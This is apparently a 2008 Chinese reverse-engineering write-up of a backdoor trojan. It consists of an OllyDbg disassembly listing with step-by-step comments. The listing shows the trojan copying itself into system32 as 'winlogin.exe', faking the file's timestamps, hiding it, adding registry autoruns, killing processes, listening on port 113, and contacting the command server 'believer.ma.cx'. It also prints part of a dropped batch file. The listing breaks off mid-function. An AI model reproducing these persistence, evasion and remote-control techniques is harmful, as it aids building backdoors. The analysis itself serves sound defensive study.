文章标题 分析某一后门类木马 文章作者 ximo[lcg] 文章目标 某一后门类木马 相关工具 ollydbg 作者 Q Q 178911980 作者邮箱 178911980@163.com 作者主页 http://www.54soft.com.cn 文章日期 2008 年 12 月 3 日 木马的总体流程 : 0040DB23 / 55 push ebp 0040DB24. 8BEC mov ebp,esp 0040DB26. 81EC 8C090000 sub esp,98c 0040DB2C. 53 push ebx 0040DB2D. 33DB xor ebx,ebx 0040DB2F. 56 push esi 0040DB30. 57 push edi 0040DB31. 895D FC mov dword ptr ss:[ebp-4],ebx 0040DB34. 895D F0 mov dword ptr ss:[ebp-10],ebx 0040DB37. C745 F4 89C64000 mov dword ptr ss:[ebp-c],3.0040c689 0040DB3E. FF75 F4 push dword ptr ss:[ebp-c] 0040DB41. 64:FF35 00000000 push dword ptr fs:[0] 0040DB48. 64:8925 00000000 mov dword ptr fs:[0],esp 0040DB4F. 391D C0D44200 cmp dword ptr ds:[42d4c0],ebx 0040DB55. 74 05 je short 3.0040DB5C 0040DB57. E8 B2C4FFFF call 3.0040A00E ; 创建批处理 a.bat 0040DB5C > 8B35 50104200 mov esi,dword ptr ds:[<&kernel32.gettickcount>] ; kernel32.gettickcount 0040DB62. FFD6 call esi ; GetTickCount 0040DB64. 33D2 xor edx,edx 0040DB66. B9 E8030000 mov ecx,3e8 0040DB6B. F7F1 div ecx 0040DB6D. A3 609B5100 mov dword ptr ds:[519b60],eax 0040DB72. FFD6 call esi ; GetTickCount 0040DB74. 50 push eax 0040DB75. E8 1D930000 call 3.00416E97 0040DB7A. 59 pop ecx 0040DB7B. E8 E3AEFFFF call 3.00408A63 ; 动态获取 API 函数 0040DB80. 6A 02 push 2 0040DB82. FF15 045B4400 call dword ptr ds:[445b04] ; kernel32.seterrormode 0040DB88. 68 30750000 push 7530 ; /Timeout = 30000. ms 0040DB8D. 68 C4D44200 push 3.0042D4C4 ; /MutexName = "Lindi" 0040DB92. 53 push ebx ; InitialOwner 0040DB93. 53 push ebx ; psecurity 0040DB94. FF15 54114200 call dword ptr ds:[<&kernel32.createmutexa>] ; \CreateMutexA 0040DB9A. 50 push eax ; 建立 lindi 互斥体 0040DB9B. FF15 50114200 call dword ptr ds:[<&kernel32.waitforsingleobject>] ; \ 等上 30 秒 0040DBA1. 3D 02010000 cmp eax,102 0040DBA6. 75 08 jnz short 3.0040DBB0 ; 检查是否存在, 存在则 结束进程 0040DBA8. 6A 01 push 1 ; /ExitCode = 1 0040DBAA. FF15 34114200 call dword ptr ds:[<&kernel32.exitprocess>] ; \ExitProcess
0040DBB0 > 8D85 78F7FFFF lea eax,dword ptr ss:[ebp-888] 0040DBB6. 50 push eax 0040DBB7. 68 02020000 push 202 0040DBBC. FF15 D0594400 call dword ptr ds:[4459d0] ; ws2_32.wsastartup 0040DBC2. 3BC3 cmp eax,ebx 0040DBC4. 8945 F4 mov dword ptr ss:[ebp-c],eax 0040DBC7. 0F85 1F060000 jnz 3.0040E1EC 0040DBCD. 80BD 78F7FFFF 02 cmp byte ptr ss:[ebp-888],2 0040DBD4. 0F85 0C060000 jnz 3.0040E1E6 0040DBDA. 33C0 xor eax,eax 0040DBDC. 8A85 79F7FFFF mov al,byte ptr ss:[ebp-887] 0040DBE2. 3C 02 cmp al,2 0040DBE4. 0F85 FC050000 jnz 3.0040E1E6 0040DBEA. BE 04010000 mov esi,104 0040DBEF. 8D85 0CFCFFFF lea eax,dword ptr ss:[ebp-3f4] 0040DBF5. 56 push esi ; /BufSize => 104 (260.) 0040DBF6. 50 push eax ; Buffer 0040DBF7. FF15 60104200 call dword ptr ds:[<&kernel32.getsystemdirectorya>] ; \GetSystemDirectoryA 0040DBFD. 8D85 10FDFFFF lea eax,dword ptr ss:[ebp-2f0] 0040DC03. 56 push esi ; /BufSize => 104 (260.) 0040DC04. 50 push eax ; PathBuffer 0040DC05. 53 push ebx ; /pmodule 0040DC06. FF15 E8104200 call dword ptr ds:[<&kernel32.getmodulehandlea>] ; \GetModuleHandleA 0040DC0C. 50 push eax ; hmodule 0040DC0D. FF15 74104200 call dword ptr ds:[<&kernel32.getmodulefilenamea>] ; \GetModuleFileNameA 0040DC13. 8D85 08F9FFFF lea eax,dword ptr ss:[ebp-6f8] 0040DC19. 50 push eax 0040DC1A. 8D85 08FAFFFF lea eax,dword ptr ss:[ebp-5f8] 0040DC20. 50 push eax 0040DC21. 53 push ebx 0040DC22. 8D85 10FDFFFF lea eax,dword ptr ss:[ebp-2f0] 0040DC28. 53 push ebx 0040DC29. 50 push eax 0040DC2A. E8 19A80000 call 3.00418448 0040DC2F. 8D85 08F9FFFF lea eax,dword ptr ss:[ebp-6f8] 0040DC35. 50 push eax 0040DC36. 8D85 08FAFFFF lea eax,dword ptr ss:[ebp-5f8] 0040DC3C. 50 push eax 0040DC3D. 68 046D4200 push 3.00426D04 ; ASCII "%s%s" 0040DC42. 8D85 08FBFFFF lea eax,dword ptr ss:[ebp-4f8] 0040DC48. 56 push esi 0040DC49. 50 push eax 0040DC4A. E8 6B970000 call 3.004173BA ; 取得系统路径 0040DC4F. 8D85 0CFCFFFF lea eax,dword ptr ss:[ebp-3f4] 0040DC55. 50 push eax 0040DC56. 8D85 10FDFFFF lea eax,dword ptr ss:[ebp-2f0] 0040DC5C. 50 push eax 0040DC5D. E8 AE970000 call 3.00417410 0040DC62. 83C4 30 add esp,30 0040DC65. 85C0 test eax,eax 0040DC67. 0F85 B8010000 jnz 3.0040DE25 0040DC6D. 391D D09C5100 cmp dword ptr ds:[519cd0],ebx
0040DC73. BE 08D54200 mov esi,3.0042d508 ; ASCII "winlogin.exe" 0040DC78. 74 31 je short 3.0040DCAB 0040DC7A. 56 push esi 0040DC7B. 33FF xor edi,edi 0040DC7D. E8 BE990000 call 3.00417640 0040DC82. 83E8 04 sub eax,4 0040DC85. 59 pop ecx 0040DC86. 74 23 je short 3.0040DCAB 0040DC88 > E8 14920000 /call 3.00416EA1 0040DC8D. 6A 1A push 1A 0040DC8F. 99 cdq 0040DC90. 59 pop ecx 0040DC91. F7F9 idiv ecx 0040DC93. 56 push esi 0040DC94. 80C2 61 add dl,61 0040DC97. 8897 08D54200 mov byte ptr ds:[edi+42d508],dl 0040DC9D. 47 inc edi 0040DC9E. E8 9D990000 call 3.00417640 0040DCA3. 83E8 04 sub eax,4 0040DCA6. 59 pop ecx 0040DCA7. 3BF8 cmp edi,eax 0040DCA9.^ 72 DD \jb short 3.0040DC88 0040DCAB > 8D85 0CFCFFFF lea eax,dword ptr ss:[ebp-3f4] 0040DCB1. 56 push esi 0040DCB2. 50 push eax 0040DCB3. 8D85 14FEFFFF lea eax,dword ptr ss:[ebp-1ec] 0040DCB9. 68 AC914200 push 3.004291AC ; ASCII "%s\%s" 0040DCBE. 50 push eax 0040DCBF. E8 81910000 call 3.00416E45 0040DCC4. 83C4 10 add esp,10 0040DCC7. 8D85 14FEFFFF lea eax,dword ptr ss:[ebp-1ec] 0040DCCD. 50 push eax ; /FileName 0040DCCE. FF15 8C104200 call dword ptr ds:[<&kernel32.getfileattributesa>] ; \GetFileAttributesA 0040DCD4. 83F8 FF cmp eax,-1 0040DCD7. 74 12 je short 3.0040DCEB 0040DCD9. 8D85 14FEFFFF lea eax,dword ptr ss:[ebp-1ec] 0040DCDF. 68 80000000 push 80 ; /FileAttributes = NORMAL 0040DCE4. 50 push eax ; FileName 0040DCE5. FF15 10114200 call dword ptr ds:[<&kernel32.setfileattributesa>] ; \SetFileAttributesA 0040DCEB > 8B35 4C114200 mov esi,dword ptr ds:[<&kernel32.copyfilea>] ; kernel32.copyfilea 0040DCF1. 8D85 14FEFFFF lea eax,dword ptr ss:[ebp-1ec] ; 把病毒复制到 C:\WINDOWS\system32\winlogin.exe 目录下 0040DCF7. 53 push ebx 0040DCF8. 50 push eax 0040DCF9. 8D85 10FDFFFF lea eax,dword ptr ss:[ebp-2f0] 0040DCFF. 33FF xor edi,edi 0040DD01. 50 push eax 0040DD02 > FFD6 /call esi 0040DD04. 85C0 test eax,eax 0040DD06. 75 33 jnz short 3.0040DD3B 0040DD08. FF15 80104200 call dword ptr ds:[<&kernel32.getlasterror>] ; GetLastError
0040DD0E. 3BFB cmp edi,ebx 0040DD10. 75 29 jnz short 3.0040DD3B 0040DD12. 83F8 20 cmp eax,20 0040DD15. 74 05 je short 3.0040DD1C 0040DD17. 83F8 05 cmp eax,5 0040DD1A. 75 1F jnz short 3.0040DD3B 0040DD1C > 6A 01 push 1 0040DD1E. 5F pop edi 0040DD1F. 68 983A0000 push 3A98 ; /Timeout = 15000. ms 0040DD24. FF15 5C104200 call dword ptr ds:[<&kernel32.sleep>] ; \Sleep 0040DD2A. 8D85 14FEFFFF lea eax,dword ptr ss:[ebp-1ec] ; 等待 15 秒 0040DD30. 53 push ebx 0040DD31. 50 push eax 0040DD32. 8D85 10FDFFFF lea eax,dword ptr ss:[ebp-2f0] 0040DD38. 50 push eax 0040DD39.^ EB C7 \jmp short 3.0040DD02 0040DD3B > 8D85 14FEFFFF lea eax,dword ptr ss:[ebp-1ec] 0040DD41. 50 push eax 0040DD42. E8 79C0FFFF call 3.00409DC0 ; 取 explorer.exe 的时间, 并使 winlogin.exe 时间与之相同 0040DD47. 59 pop ecx 0040DD48. 8D85 14FEFFFF lea eax,dword ptr ss:[ebp-1ec] 0040DD4E. 6A 07 push 7 ; /FileAttributes = READONLY HIDDEN SYSTEM 0040DD50. 50 push eax ; FileName 0040DD51. FF15 10114200 call dword ptr ds:[<&kernel32.setfileattributesa>] ; \SetFileAttributesA 0040DD57. 6A 10 push 10 ; 修改 winlogin.exe 属 性, 设置为只读, 隐藏, 系统属性 0040DD59. 8D45 DC lea eax,dword ptr ss:[ebp-24] 0040DD5C. 53 push ebx 0040DD5D. 50 push eax 0040DD5E. E8 5D910000 call 3.00416EC0 0040DD63. 6A 44 push 44 0040DD65. 8D85 18FFFFFF lea eax,dword ptr ss:[ebp-e8] 0040DD6B. 5E pop esi 0040DD6C. 56 push esi 0040DD6D. 53 push ebx 0040DD6E. 50 push eax 0040DD6F. E8 4C910000 call 3.00416EC0 0040DD74. 83C4 18 add esp,18 0040DD77. 89B5 18FFFFFF mov dword ptr ss:[ebp-e8],esi 0040DD7D. C785 24FFFFFF E80C>mov dword ptr ss:[ebp-dc],3.00440ce8 0040DD87. 66:899D 48FFFFFF mov word ptr ss:[ebp-b8],bx 0040DD8E. 6A 01 push 1 0040DD90. 5E pop esi 0040DD91. 89B5 44FFFFFF mov dword ptr ss:[ebp-bc],esi 0040DD97. FF15 48114200 call dword ptr ds:[<&kernel32.getcurrentprocessid>] ; [GetCurrentProcessId 0040DD9D. 50 push eax ; /ProcessId 0040DD9E. 56 push esi ; Inheritable => TRUE 0040DD9F. 68 00001000 push 100000 ; Access = SYNCHRONIZE 0040DDA4. FF15 E4104200 call dword ptr ds:[<&kernel32.openprocess>] ; \OpenProcess
0040DDAA. 8D8D 10FDFFFF lea ecx,dword ptr ss:[ebp-2f0] ; 打开进程 0040DDB0. 51 push ecx 0040DDB1. 50 push eax 0040DDB2. 8D85 14FEFFFF lea eax,dword ptr ss:[ebp-1ec] 0040DDB8. 50 push eax 0040DDB9. 8D85 74F6FFFF lea eax,dword ptr ss:[ebp-98c] ; 一串乱码 0040DDBF. 68 44324300 push 3.00433244 ; ASCII "%s %d "%s"" 0040DDC4. 50 push eax ; 还是乱码 0040DDC5. E8 7B900000 call 3.00416E45 0040DDCA. 83C4 14 add esp,14 0040DDCD. 8D45 DC lea eax,dword ptr ss:[ebp-24] 0040DDD0. 50 push eax ; /pprocessinfo 0040DDD1. 8D85 18FFFFFF lea eax,dword ptr ss:[ebp-e8] ; 0040DDD7. 50 push eax ; pstartupinfo 0040DDD8. 8D85 0CFCFFFF lea eax,dword ptr ss:[ebp-3f4] ; 0040DDDE. 50 push eax ; CurrentDir 0040DDDF. 53 push ebx ; penvironment 0040DDE0. 6A 28 push 28 ; CreationFlags = DETACHED_PROCESS NORMAL_PRIORITY_CLASS 0040DDE2. 56 push esi ; InheritHandles => TRUE 0040DDE3. 53 push ebx ; pthreadsecurity 0040DDE4. 8D85 74F6FFFF lea eax,dword ptr ss:[ebp-98c] ; 0040DDEA. 53 push ebx ; pprocesssecurity 0040DDEB. 50 push eax ; CommandLine 0040DDEC. 8D85 14FEFFFF lea eax,dword ptr ss:[ebp-1ec] ; 0040DDF2. 50 push eax ; ModuleFileName 0040DDF3. FF15 08114200 call dword ptr ds:[<&kernel32.createprocessa>] ; \CreateProcessA 0040DDF9. 85C0 test eax,eax ; 创建 winlogin.exe 文件 进程 0040DDFB. 74 28 je short 3.0040DE25 0040DDFD. 68 C8000000 push 0C8 ; /Timeout = 200. ms 0040DE02. FF15 5C104200 call dword ptr ds:[<&kernel32.sleep>] ; \Sleep 0040DE08. FF75 DC push dword ptr ss:[ebp-24] ; /hobject 0040DE0B. 8B35 6C104200 mov esi,dword ptr ds:[<&kernel32.closehandle>] ; kernel32.closehandle 0040DE11. FFD6 call esi ; \CloseHandle 0040DE13. FF75 E0 push dword ptr ss:[ebp-20] ; /hobject 0040DE16. FFD6 call esi ; \CloseHandle 0040DE18. FF15 B8594400 call dword ptr ds:[4459b8] ; ws2_32.wsacleanup 0040DE1E. 53 push ebx ; /ExitCode 0040DE1F. FF15 34114200 call dword ptr ds:[<&kernel32.exitprocess>] ; \ 退出当前进程 0040DE25 > 833D 489F5100 02 cmp dword ptr ds:[519f48],2 0040DE2C. 7E 43 jle short 3.0040DE71 0040DE2E. A1 4C9F5100 mov eax,dword ptr ds:[519f4c] 0040DE33. FF70 04 push dword ptr ds:[eax+4] 0040DE36. E8 74950000 call 3.004173AF 0040DE3B. 59 pop ecx 0040DE3C. 8BF0 mov esi,eax 0040DE3E. 6A FF push -1 ; /Timeout = INFINITE 0040DE40. 56 push esi ; hobject 0040DE41. FF15 50114200 call dword ptr ds:[<&kernel32.waitforsingleobject>] ; \WaitForSingleObject 0040DE47. 56 push esi ; /hobject
0040DE48. FF15 6C104200 call dword ptr ds:[<&kernel32.closehandle>] ; \CloseHandle 0040DE4E. A1 4C9F5100 mov eax,dword ptr ds:[519f4c] 0040DE53. 3958 08 cmp dword ptr ds:[eax+8],ebx 0040DE56. 74 19 je short 3.0040DE71 0040DE58. 68 D0070000 push 7D0 ; /Timeout = 2000. ms 0040DE5D. FF15 5C104200 call dword ptr ds:[<&kernel32.sleep>] ; \Sleep 0040DE63. A1 4C9F5100 mov eax,dword ptr ds:[519f4c] 0040DE68. FF70 08 push dword ptr ds:[eax+8] ; /FileName 0040DE6B. FF15 44114200 call dword ptr ds:[<&kernel32.deletefilea>] ; \DeleteFileA 0040DE71 > 391D 2CD44200 cmp dword ptr ds:[42d42c],ebx 0040DE77. 74 15 je short 3.0040DE8E 0040DE79. 391D 285B4400 cmp dword ptr ds:[445b28],ebx 0040DE7F. 75 0D jnz short 3.0040DE8E 0040DE81. 8D85 08FBFFFF lea eax,dword ptr ss:[ebp-4f8] 0040DE87. 50 push eax 0040DE88. E8 F8D5FFFF call 3.0040B485 ; 创建三个注册表项, 以实 现木马的自启动 0040DE8D. 59 pop ecx 0040DE8E > 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040DE94. 68 1C324300 push 3.0043321C 0040DE99. 50 push eax 0040DE9A. E8 A68F0000 call 3.00416E45 0040DE9F. 53 push ebx 0040DEA0. 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040DEA6. 53 push ebx 0040DEA7. 50 push eax 0040DEA8. E8 448A0000 call 3.004168F1 0040DEAD. 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040DEB3. 50 push eax 0040DEB4. E8 BDD3FFFF call 3.0040B276 ; 取当前系统时间 0040DEB9. 68 800B0000 push 0B80 0040DEBE. 53 push ebx 0040DEBF. 68 30A74400 push 3.0044A730 0040DEC4. E8 F78F0000 call 3.00416EC0 0040DEC9. 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040DECF. 68 E0314300 push 3.004331E0 0040DED4. 50 push eax 0040DED5. E8 6B8F0000 call 3.00416E45 0040DEDA. 53 push ebx 0040DEDB. 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040DEE1. 6A 01 push 1 0040DEE3. 50 push eax 0040DEE4. E8 088A0000 call 3.004168F1 0040DEE9. 83C4 38 add esp,38 0040DEEC. 8BF8 mov edi,eax 0040DEEE. 8B35 84104200 mov esi,dword ptr ds:[<&kernel32.createthread>] ; kernel32.createthread 0040DEF4. 8D45 FC lea eax,dword ptr ss:[ebp-4] 0040DEF7. 50 push eax ; /pthreadid 0040DEF8. 53 push ebx ; CreationFlags 0040DEF9. 53 push ebx ; pthreadparm 0040DEFA. 68 26494100 push 3.00414926 ; ThreadFunction = 3.00414926
0040DEFF. 53 push ebx ; StackSize 0040DF00. 53 push ebx ; psecurity 0040DF01. FFD6 call esi ; \ 创建线程, 使每 30 秒查 找目标的进程, 查到则结束之 0040DF03. 69FF 34020000 imul edi,edi,234 0040DF09. 3BC3 cmp eax,ebx 0040DF0B. 8987 C4B44400 mov dword ptr ds:[edi+44b4c4],eax 0040DF11. 75 1B jnz short 3.0040DF2E 0040DF13. FF15 80104200 call dword ptr ds:[<&kernel32.getlasterror>] ; GetLastError 0040DF19. 50 push eax 0040DF1A. 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040DF20. 68 8C314300 push 3.0043318C 0040DF25. 50 push eax 0040DF26. E8 1A8F0000 call 3.00416E45 0040DF2B. 83C4 0C add esp,0c 0040DF2E > 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040DF34. 50 push eax 0040DF35. E8 3CD3FFFF call 3.0040B276 ; 取当前系统时间 0040DF3A. 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040DF40. C70424 48314300 mov dword ptr ss:[esp],3.00433148 0040DF47. 50 push eax 0040DF48. E8 F88E0000 call 3.00416E45 0040DF4D. 53 push ebx 0040DF4E. 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040DF54. 6A 01 push 1 0040DF56. 50 push eax 0040DF57. E8 95890000 call 3.004168F1 0040DF5C. 83C4 14 add esp,14 0040DF5F. 8BF8 mov edi,eax 0040DF61. 8D45 FC lea eax,dword ptr ss:[ebp-4] 0040DF64. 50 push eax 0040DF65. 53 push ebx 0040DF66. 53 push ebx 0040DF67. 68 35664100 push 3.00416635 0040DF6C. 53 push ebx 0040DF6D. 53 push ebx 0040DF6E. FFD6 call esi ; 创建线程, 使实现一些破 坏活动, 具体见下 0040DF70. 69FF 34020000 imul edi,edi,234 0040DF76. 3BC3 cmp eax,ebx 0040DF78. 8987 C4B44400 mov dword ptr ds:[edi+44b4c4],eax 0040DF7E. 75 1B jnz short 3.0040DF9B 0040DF80. FF15 80104200 call dword ptr ds:[<&kernel32.getlasterror>] ;GetLastError 0040DF86. 50 push eax 0040DF87. 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040DF8D. 68 FC304300 push 3.004330FC 0040DF92. 50 push eax 0040DF93. E8 AD8E0000 call 3.00416E45 0040DF98. 83C4 0C add esp,0c 0040DF9B > 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040DFA1. 50 push eax 0040DFA2. E8 CFD2FFFF call 3.0040B276
0040DFA7. 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040DFAD. C70424 BC304300 mov dword ptr ss:[esp],3.004330bc 0040DFB4. 50 push eax 0040DFB5. E8 8B8E0000 call 3.00416E45 0040DFBA. 53 push ebx 0040DFBB. 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040DFC1. 6A 01 push 1 0040DFC3. 50 push eax 0040DFC4. E8 28890000 call 3.004168F1 0040DFC9. 83C4 14 add esp,14 0040DFCC. 8BF8 mov edi,eax 0040DFCE. 8D45 FC lea eax,dword ptr ss:[ebp-4] 0040DFD1. 50 push eax 0040DFD2. 8D85 08FBFFFF lea eax,dword ptr ss:[ebp-4f8] 0040DFD8. 53 push ebx 0040DFD9. 50 push eax 0040DFDA. 68 F5B44000 push 3.0040B4F5 0040DFDF. 53 push ebx 0040DFE0. 53 push ebx 0040DFE1. FFD6 call esi ; 创建实现自启动的线程 0040DFE3. 69FF 34020000 imul edi,edi,234 0040DFE9. 3BC3 cmp eax,ebx 0040DFEB. 8987 C4B44400 mov dword ptr ds:[edi+44b4c4],eax 0040DFF1. 75 1B jnz short 3.0040E00E 0040DFF3. FF15 80104200 call dword ptr ds:[<&kernel32.getlasterror>] ;GetLastError 0040DFF9. 50 push eax 0040DFFA. 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040E000. 68 70304300 push 3.00433070 0040E005. 50 push eax 0040E006. E8 3A8E0000 call 3.00416E45 0040E00B. 83C4 0C add esp,0c 0040E00E > 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040E014. 50 push eax 0040E015. E8 5CD2FFFF call 3.0040B276 0040E01A. 6A 02 push 2 0040E01C. E8 188B0000 call 3.00416B39 0040E021. 59 pop ecx 0040E022. 85C0 test eax,eax 0040E024. 59 pop ecx 0040E025. 75 6C jnz short 3.0040E093 0040E027. 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040E02D. 68 2C304300 push 3.0043302C 0040E032. 50 push eax 0040E033. E8 0D8E0000 call 3.00416E45 0040E038. 53 push ebx 0040E039. 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040E03F. 6A 02 push 2 0040E041. 50 push eax 0040E042. E8 AA880000 call 3.004168F1 0040E047. 83C4 14 add esp,14 0040E04A. 8BF8 mov edi,eax
0040E04C. 8D45 FC lea eax,dword ptr ss:[ebp-4] 0040E04F. 50 push eax 0040E050. 53 push ebx 0040E051. 57 push edi 0040E052. 68 17C94000 push 3.0040C917 0040E057. 53 push ebx 0040E058. 53 push ebx 0040E059. FFD6 call esi ; 创建监听 113 端口, 并接 受远程服务器发送来的命令的线程 0040E05B. 69FF 34020000 imul edi,edi,234 0040E061. 3BC3 cmp eax,ebx 0040E063. 8987 C4B44400 mov dword ptr ds:[edi+44b4c4],eax 0040E069. 75 1B jnz short 3.0040E086 0040E06B. FF15 80104200 call dword ptr ds:[<&kernel32.getlasterror>] ; GetLastError 0040E071. 50 push eax 0040E072. 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040E078. 68 E82F4300 push 3.00432FE8 0040E07D. 50 push eax 0040E07E. E8 C28D0000 call 3.00416E45 0040E083. 83C4 0C add esp,0c 0040E086 > 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-a4] 0040E08C. 50 push eax 0040E08D. E8 E4D1FFFF call 3.0040B276 0040E092. 59 pop ecx 0040E093 > E8 098E0000 call 3.00416EA1 0040E098. 6A 7F push 7F 0040E09A. 68 F0D44200 push 3.0042D4F0 ; ASCII "believer.ma.cx" 0040E09F. 68 6C9B5100 push 3.00519B6C ; ASCII "believer.ma.cx" 0040E0A4. 891D EC9C5100 mov dword ptr ds:[519cec],ebx 0040E0AA. E8 F19C0000 call 3.00417DA0 0040E0AF. A1 10D44200 mov eax,dword ptr ds:[42d410] 0040E0B4. 6A 3F push 3F 0040E0B6. BF EC9B5100 mov edi,3.00519bec ; ASCII "#591" 0040E0BB. 68 00D54200 push 3.0042D500 ; ASCII "#591" 0040E0C0. 57 push edi 0040E0C1. A3 BC9C5100 mov dword ptr ds:[519cbc],eax 0040E0C6. E8 D59C0000 call 3.00417DA0 0040E0CB. 6A 3F push 3F 0040E0CD. BE 2C9C5100 mov esi,3.00519c2c 0040E0D2. 68 D89C5100 push 3.00519CD8 0040E0D7. 56 push esi 0040E0D8. E8 C39C0000 call 3.00417DA0 0040E0DD. 83C4 24 add esp,24 0040E0E0. 891D C09C5100 mov dword ptr ds:[519cc0],ebx 0040E0E6 > 895D F8 /mov dword ptr ss:[ebp-8],ebx 0040E0E9 > 391D 405B4400 /cmp dword ptr ds:[445b40],ebx 0040E0EF. 75 16 jnz short 3.0040E107 0040E0F1. 8D45 EC lea eax,dword ptr ss:[ebp-14] 0040E0F4. 53 push ebx 0040E0F5. 50 push eax
0040E0F6. FF15 9C594400 call dword ptr ds:[44599c] ;wininet.internetgetconnectedstate 0040E0FC. 85C0 test eax,eax 0040E0FE. 75 07 jnz short 3.0040E107 0040E100. 68 30750000 push 7530 0040E105. EB 2C jmp short 3.0040E133 0040E107 > 68 689B5100 push 3.00519B68 0040E10C. 891D E89C5100 mov dword ptr ds:[519ce8],ebx 0040E112. E8 DE000000 call 3.0040E1F5 ; 连接 believer.ma.cx 远程 服务器 0040E117. 83F8 02 cmp eax,2 ; 0040E11A. 8945 F4 mov dword ptr ss:[ebp-c],eax 0040E11D. 0F84 BE000000 je 3.0040E1E1 0040E123. 391D E89C5100 cmp dword ptr ds:[519ce8],ebx 0040E129. 74 03 je short 3.0040E12E 0040E12B. FF4D F8 dec dword ptr ss:[ebp-8] 0040E12E > 68 B80B0000 push 0BB8 ; /Timeout = 3000. ms 0040E133 > FF15 5C104200 call dword ptr ds:[<&kernel32.sleep>] ; \Sleep 0040E139. FF45 F8 inc dword ptr ss:[ebp-8] 0040E13C. 837D F8 06 cmp dword ptr ss:[ebp-8],6 0040E140.^ 7C A7 \jl short 3.0040E0E9 0040E142. 837D F4 02 cmp dword ptr ss:[ebp-c],2 0040E146. 0F84 95000000 je 3.0040E1E1 0040E14C. 395D F0 cmp dword ptr ss:[ebp-10],ebx 0040E14F. 74 40 je short 3.0040E191 0040E151. 6A 7F push 7F 0040E153. 68 F0D44200 push 3.0042D4F0 ; ASCII "believer.ma.cx" 0040E158. 68 6C9B5100 push 3.00519B6C ; ASCII "believer.ma.cx" 0040E15D. E8 3E9C0000 call 3.00417DA0 0040E162. A1 10D44200 mov eax,dword ptr ds:[42d410] 0040E167. 6A 3F push 3F 0040E169. 68 00D54200 push 3.0042D500 ; ASCII "#591" 0040E16E. 57 push edi 0040E16F. A3 BC9C5100 mov dword ptr ds:[519cbc],eax 0040E174. E8 279C0000 call 3.00417DA0 0040E179. 6A 3F push 3F 0040E17B. 68 D89C5100 push 3.00519CD8 0040E180. 56 push esi 0040E181. E8 1A9C0000 call 3.00417DA0 0040E186. 83C4 24 add esp,24 0040E189. 895D F0 mov dword ptr ss:[ebp-10],ebx 0040E18C.^ E9 55FFFFFF jmp 3.0040E0E6 0040E191 > 381D DC9C5100 cmp byte ptr ds:[519cdc],bl 0040E197.^ 0F84 49FFFFFF je 3.0040E0E6 0040E19D. 6A 7F push 7F 0040E19F. 68 DC9C5100 push 3.00519CDC 0040E1A4. 68 6C9B5100 push 3.00519B6C ; ASCII "believer.ma.cx" 0040E1A9. E8 F29B0000 call 3.00417DA0 0040E1AE. A1 14D44200 mov eax,dword ptr ds:[42d414] 0040E1B3. 6A 3F push 3F 0040E1B5. 68 E09C5100 push 3.00519CE0 0040E1BA. 57 push edi
0040E1BB. A3 BC9C5100 mov dword ptr ds:[519cbc],eax 0040E1C0. E8 DB9B0000 call 3.00417DA0 0040E1C5. 6A 3F push 3F 0040E1C7. 68 E49C5100 push 3.00519CE4 0040E1CC. 56 push esi 0040E1CD. E8 CE9B0000 call 3.00417DA0 0040E1D2. 83C4 24 add esp,24 0040E1D5. C745 F0 01000000 mov dword ptr ss:[ebp-10],1 0040E1DC.^ E9 05FFFFFF \jmp 3.0040E0E6 0040E1E1 > E8 D4880000 call 3.00416ABA 0040E1E6 > FF15 B8594400 call dword ptr ds:[4459b8] ; ws2_32.wsacleanup 0040E1EC > 5F pop edi 0040E1ED. 5E pop esi 0040E1EE. 33C0 xor eax,eax 0040E1F0. 5B pop ebx 0040E1F1. C9 leave 0040E1F2 \. C2 1000 retn 10 具体的各部分内容 : 一 创建批处理 0040A00E / 55 push ebp ; 创建 a.bat 0040A00F. 8BEC mov ebp,esp 0040A011. B8 60180000 mov eax,1860 0040A016. E8 A5D60000 call 3.004176C0 0040A01B. 56 push esi 0040A01C. 57 push edi 0040A01D. B9 C1050000 mov ecx,5c1 0040A022. BE 40A04200 mov esi,3.0042a040 ; ASCII "@echo off Echo REGEDIT4>%temp%\1.reg Echo.>>%temp%\1.reg Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]>>%temp%\1.reg Echo "TransportBindName"="">>%temp%\1.reg Echo.>>%temp%\1.reg Echo [HKEY_LOCAL_MA"... 0040A027. 8DBD A0E7FFFF lea edi,dword ptr ss:[ebp-1860] ; 批处理内容 0040A02D. 8D85 A8FEFFFF lea eax,dword ptr ss:[ebp-158] 0040A033. F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi] 0040A035. 66:A5 movs word ptr es:[edi],word ptr ds:[esi] 0040A037. 68 34A04200 push 3.0042A034 ; ASCII "c:\a.bat" 0040A03C. 50 push eax ; 批处理创建的路径 0040A03D. A4 movs byte ptr es:[edi],byte ptr ds:[esi] 0040A03E. E8 02CE0000 call 3.00416E45 0040A043. 59 pop ecx 0040A044. 33F6 xor esi,esi 0040A046. 59 pop ecx 0040A047. 8D85 A8FEFFFF lea eax,dword ptr ss:[ebp-158] 0040A04D. 56 push esi ; /htemplatefile => NULL 0040A04E. 56 push esi ; Attributes => 0 0040A04F. 6A 02 push 2 ; Mode =
